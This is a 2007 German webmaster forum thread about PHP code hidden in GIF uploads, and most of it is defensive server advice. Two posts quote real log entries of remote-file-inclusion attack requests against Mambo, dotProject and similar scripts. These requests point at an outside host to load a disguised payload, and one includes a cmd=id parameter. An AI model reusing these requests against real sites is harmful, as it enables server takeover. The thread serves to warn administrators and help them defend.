Diskussion
Gefahr von PHP Code in GIF Grafikdateien
| pangu |
Geschrieben am: Do 9.08.2007, 14:51
|
![]() AyomRank 6 ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Member (aktiv) Beiträge: 839 Mitglied seit: 29.07.2005 |
-------------------- |
![]() |
| Jürgen Auer Server-Daten - Online-CRM-Lösungen |
#2 Geschrieben am: Do 9.08.2007, 15:41 (+00:49)
|
||
|
AyomRank 9 Gruppe: Ehrenmitglied, Ex-Moderator Beiträge: 3657 Mitglied seit: 4.02.2006 |
Im Prinzip nichts neues, trotzdem danke für den Hinweis. Man kann das ja nicht oft genug wiederholen. Wenn ich allerdings das
lese, dann frage ich mich allerdings manchmal, ob man nicht die entsprechenden Fragen in Foren knallhart löschen sollte. Insbesondere dann, wenn sich das bei manchen Nutzern wiederholt. -------------------- Web-Anwendung 3.0: Ein Online-Kalender für Termine vieler Filialen.
Server-Daten - die Single-Data-Solution: Web-Datenbanken als Online - CRM - Lösung. Ihre Geschäftsprozesse entscheiden, was Ihre Online-Datenbank macht. Sie konzentrieren sich auf Ihr Kerngeschäft - Ihre Datenbank funktioniert. |
||
![]() |
| TonyCanneloni - |
#3 Geschrieben am: Do 9.08.2007, 15:45 (+00:03)
|
|
AyomRank 5 ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Member (aktiv) Beiträge: 294 Mitglied seit: 6.08.2007 |
scheisse
|
![]() |
| sd12 |
#4 Geschrieben am: So 12.08.2007, 14:31 (+2d 22:46)
|
![]() AyomRank 9 Gruppe: Moderator, VIP-Mitglied Beiträge: 3611 Mitglied seit: 3.03.2004 |
Es ist richtig, dass dieses Problem existiert!
ABER: Welcher Idiot lässt es zu, dass PHP Dateien hochgeladen werden können? Welcher verdeppte Admin hat den Befehl system aktiv? Unterschätz das Problem dennoch nicht... -------------------- ************************
Treiber f[r das Kezboard ist [berfl[ssig. |
![]() |
| David T. |
#5 Geschrieben am: So 12.08.2007, 16:37 (+02:06)
|
||||
|
AyomRank 4 ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Member (aktiv) Beiträge: 113 Mitglied seit: 30.07.2006 |
Die hier gezeigten "Exploits" basieren jedoch alle auf der Annahme, dass der Dateiname des Uploads immer gleich bleibt. Wenn er von exploit.php nach img001202.gif umbenannt wird, lässt sich die Datei nicht mehr ausführen (vorausgesetzt der Systemadmin lässt nicht auch gif-Dateien durch den PHP-Parser rauschen).
Selbst wenn jedoch Funktionen wie system() deaktiviert sind, kann man einen beträchtlichen Schaden anrichten.
Danke für deine qualifizierte, hochbrisante Meldung. |
||||
![]() |
| Webtrade and more |
#6 Geschrieben am: So 12.08.2007, 16:51 (+00:13)
|
![]() AyomRank 9 Gruppe: VIP Mitglied Beiträge: 2365 Mitglied seit: 10.10.2005 |
Der unerfahrene Anwender sollte sowieso nicht an seinem Server "herumschrauben", wenn er von dessen Inhalten abhängig ist, sprich davon lebt. Bestandteil des Artikels ist daher auch die gängige Panikmache...
|
![]() |
|
#7 Geschrieben am: So 12.08.2007, 17:38 (+00:46)
|
|||
|
AyomRank 9 Gruppe: Moderator, Experte, VIP-Mitglied Beiträge: 2771 Mitglied seit: 27.12.2004 |
ODER: Welcher halbwegsvernünftige Admin hat bitte Endung wie GIF, JPG oder PNG zum Parsen mittels PHP freigegeben?! |
||
![]() |
| sd12 |
#8 Geschrieben am: So 12.08.2007, 18:30 (+00:51)
|
![]() AyomRank 9 Gruppe: Moderator, VIP-Mitglied Beiträge: 3611 Mitglied seit: 3.03.2004 |
Vorausgesetzt, das Bilddateien nicht durch den PHP Parser gelassen werden, genügt die einfache Prüfung der Dateiendung. Warum wird NUR der Filetyp geprüft? Am besten beides Prüfen.
Hier aber noch konstruktive Hilfe für diejenigen welche angst haben, dass Sie fehlerhfte Scripte haben... Macht eine Subdomain für Eure Uploads. Diese Subdomain hat einfach kaum rechte... Ganz hilfreich zum Thema Apache Security ist auch diese Seite: http://www.linux-magazin.de/heft_abo/ausga...r_den_webserver -------------------- ************************
Treiber f[r das Kezboard ist [berfl[ssig. |
![]() |
| Jürgen Auer Server-Daten - Online-CRM-Lösungen |
#9 Geschrieben am: So 12.08.2007, 18:50 (+00:20)
|
||||
|
AyomRank 9 Gruppe: Ehrenmitglied, Ex-Moderator Beiträge: 3657 Mitglied seit: 4.02.2006 |
Eure Einwände sind allesamt nachvollziehbar - für diejenigen, die sich mit den Details auskennen. Nur erlebe ich - gerade hier - immer wieder das Gegenteil: Jemand fragt etwas und erhält eine Erläuterung. Und dann fragt er erneut etwas und man hat den Eindruck, daß die - womöglich sicherheitskritischen - PHP-Befehle wie chinesische Schriftzeichen nur hin- und hergeschoben werden, ohne irgendein Verständnis für das, was diese Funktionen machen. Einzig entscheidend ist, daß es am Ende klappt - so wie sich das der Fragende vorstellt. Was damit plötzlich auch noch klappt, ist dem Fragenden völlig unbekannt. Und das Problem gibt es nicht nur hier: Es gibt ja regelmäßig Anwendungen, da funktioniert etwas nicht - also werden die Rechte hochgesetzt. Simples Beispiel, schon mehrfach gelesen: Frage: Ich will in meine bis jetzt statische Seiten PHP einbauen, muß ich jetzt alle Dateiendungen ändern? (PR-Verlust) Antwort: Nee, konfiguriere deinen Server so, daß er auch .html parst. Und es ist fast zu wetten, daß manche damit Schwierigkeiten haben und dann nicht bloß das Html-Parsen erlauben, sondern dann eben alle Dateien durchjagen - '*.*' funktioniert wahrscheinlich. Etwas funktioniert nicht wie gewünscht, also wird eine stärkere Funktion genutzt - was die sonst macht? Keine Ahnung. Abgesehen davon kann man auch mit hochladbaren Html-Seiten Mist bauen - eingebundenes JavaScript wird dann plötzlich mit den Vertrauensrechten der Plattform ausgeführt. PS: Simples Beispiel: Jemand schreibt in einem Forum, google würde die Domain als 'kann Ihren Computer schädigen' ausgeben. Leute aus dem Forum gucken nach, eingebundener iFrame auf eine Site mit Exploits, google hat also recht. Und dann natürlich: 'Keine Ahnung, wie', dann werden Passwörter geändert - als ob für so etwas ein Passwort notwendig wäre. Aber wenn sich google dann zwei Wochen Zeit läßt, bis der Hinweis verschwindet, da regt sich der Besitzer darüber auf. -------------------- Web-Anwendung 3.0: Ein Online-Kalender für Termine vieler Filialen.
Server-Daten - die Single-Data-Solution: Web-Datenbanken als Online - CRM - Lösung. Ihre Geschäftsprozesse entscheiden, was Ihre Online-Datenbank macht. Sie konzentrieren sich auf Ihr Kerngeschäft - Ihre Datenbank funktioniert. |
||||
![]() |
| sd12 |
#10 Geschrieben am: So 12.08.2007, 19:27 (+00:36)
|
![]() AyomRank 9 Gruppe: Moderator, VIP-Mitglied Beiträge: 3611 Mitglied seit: 3.03.2004 |
Leider muss ich jAuer fast überall recht geben...
-------------------- ************************
Treiber f[r das Kezboard ist [berfl[ssig. |
![]() |
| Jürgen Auer Server-Daten - Online-CRM-Lösungen |
#11 Geschrieben am: So 19.08.2007, 13:58 (+6d 18:31)
|
||
|
AyomRank 9 Gruppe: Ehrenmitglied, Ex-Moderator Beiträge: 3657 Mitglied seit: 4.02.2006 |
So, grade bei mir gesehen: Aufrufe: /live/help.php?css_path=http://217.117.147.4/sugar_canon/s.gif? /php/mambo/index2.php?_REQUEST%5Boption%5D=com_content&_REQUEST%5BItemid%5D=1&GLOBALS=&mosConfig_absolute_path=http://217.117.147.4/sugar_canon/s.gi /dotproject/includes/db_adodb.php?baseDir=http://217.117.147.4/sugar_canon/s.gif? und analog (mir wirds zu blöd, die ganzen Parameter rauszukopieren): /SQuery/lib/armygame.php /phplive/help.php /bridge/enigma/E2_header.inc.php /admin.php /mambo/index.php /administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://217.117.147.4/sugar_canon/s.gif?/ Und ruft man das s.gif direkt ab, dann ist das ein 'zerbrochenes Gif' mit Inhalt
Sprich: Das wird fleißig eingesetzt. -------------------- Web-Anwendung 3.0: Ein Online-Kalender für Termine vieler Filialen.
Server-Daten - die Single-Data-Solution: Web-Datenbanken als Online - CRM - Lösung. Ihre Geschäftsprozesse entscheiden, was Ihre Online-Datenbank macht. Sie konzentrieren sich auf Ihr Kerngeschäft - Ihre Datenbank funktioniert. |
||
![]() |
| profo |
#12 Geschrieben am: So 19.08.2007, 19:28 (+05:29)
|
![]() AyomRank 5 ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Member (aktiv) Beiträge: 440 Mitglied seit: 19.01.2007 |
Um kurz zu vervollständigen, die Blödmänner versuchen es mit jeder Endung:
GET /components/com_simpleboard/file_upload.php?sbp=http://***.com/tool20.dat?cmd=id GET /mail/index.php?site_path=http://***.com/imag/stringa.txt? GET /wiki/index.php/index.php?z=http://***.jp/icons/fold? usw.... |
![]() |
| Jürgen Auer Server-Daten - Online-CRM-Lösungen |
#13 Geschrieben am: So 19.08.2007, 19:42 (+00:14)
|
||||
|
AyomRank 9 Gruppe: Ehrenmitglied, Ex-Moderator Beiträge: 3657 Mitglied seit: 4.02.2006 |
Aber nicht bei mir, bei mir sind bloß PHP-Dateien und gif-Endungen aufgetaucht. Das ist allerdings auch ein IIS, bei dem alle PHP-Dateien mit 404 beantwortet werden. Vor ein paar Tagen hatte ich mal den: /admin/business_inc/saveserver.php?thisdir=Textdatei von einem Server Die Textdatei existiert immer noch - nein, ich poste keinen Link. Die hat u.a komplette Brute-Force - FTP-Angriffe und base64-codierte Blöcke. Decodiert man die, dann sind das komplette kleine C-Programme, die einen Port und eine Shell aufmachen:
Da ist dann mein Server nicht mehr mein Server. -------------------- Web-Anwendung 3.0: Ein Online-Kalender für Termine vieler Filialen.
Server-Daten - die Single-Data-Solution: Web-Datenbanken als Online - CRM - Lösung. Ihre Geschäftsprozesse entscheiden, was Ihre Online-Datenbank macht. Sie konzentrieren sich auf Ihr Kerngeschäft - Ihre Datenbank funktioniert. |
||||
![]() |
| PH |
#14 Geschrieben am: So 19.08.2007, 22:17 (+02:35)
|
![]() AyomRank 9 Gruppe: Moderator, VIP-Mitglied Beiträge: 2520 Mitglied seit: 29.08.2004 |
So mach ichs:
1- alle hochgeladenen Bilder (oder Dateien, die sich als solche ausgeben) laufen über ein noexe /tmp 2- Bilder werden automatisch auf 99% Grösse resized (da bleibt kein Code übrig) 3- dann in ein Verzeichnis verschoben mit einem htaccess deny from all (ausnahme: die eigene IP des Webservers) 4- die Bilder werden dann selbst über ein gesichertes php-Skript ausgegeben (nach der Art photo.php?foto_id=542 mit file_get_contents) -------------------- Disclaimer: Ich gebe manchmal rechtliche Tips, aber ich bin kein Anwalt, sondern verfüge nur über Erfahrung in diesem Bereich sowie über eine Ausbildung in Wettbewerbsrecht, Handelsrecht, Vertragsrecht, Privatrecht und Markenrecht (jeweils immer auch aus internationaler Perspektive), die Teil meines Studiums war.
Ich gebe rechtliche Tips, weil mich diese Themen interessieren und weil mir dies nach dem Gesetz meines Aufenthaltslandes und dem Schweizer Gesetz gestattet ist. Es ist dem Leser überlassen, was er mit diesen Tips anfängt - ich übernehme keinerlei Haftung für meine Ausführungen. |
![]() |
| profo |
#15 Geschrieben am: So 19.08.2007, 22:40 (+00:22)
|
![]() AyomRank 5 ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Member (aktiv) Beiträge: 440 Mitglied seit: 19.01.2007 |
Coole Tricks. Die Verkleinerung finde ich besonders gut! Ansonsten lasse bei mir meist noch einen clamdscan (Antivirus) über Uploads laufen.
|
![]() |
Thema wird von 0 Benutzer(n) gelesen (0 Gäste und 0 anonyme Benutzer)
0 Mitglieder:
![]() |
![]() ![]() ![]() |
| Themen Titel | Autor | Views | Antworten | Letzte Aktion |
| QR-Code | traumfee_lila | 707 | 11 | Mo 11.02.2013, 14:09 |
| Wordpress-Code in Smarty-Template ausgeben | Seo.gy | 466 | 6 | Di 22.01.2013, 08:16 |
| Shirts mit QR Code | Dolm | 602 | 4 | Do 29.11.2012, 15:10 |
| PHP Code anzeigen | G.P. | 432 | 2 | Di 30.10.2012, 17:44 |
| QR-Code für Shopartikel | Ronald Nickel | 824 | 4 | Sa 8.09.2012, 12:44 |
| PHP Code schützen | Sancheck | 1652 | 16 | Mo 13.08.2012, 15:54 |
| Wo code einbinden? search123 | saschag60 | 1023 | 1 | So 6.05.2012, 22:00 |
| Daten aus Code auslesen... | rosinenbomber-jk | 2057 | 22 | Di 6.09.2011, 22:44 |
| Gefahr für Webmaster durch G.Analytics | PH | 1268 | 6 | Di 30.08.2011, 16:23 |
Neu: Kleinanzeige pinnen | Kleinanzeige auf Startseite | Werbetarife 2013 | VIP Mitgliedschaft (30 Tage Geld-zurück-Garantie)























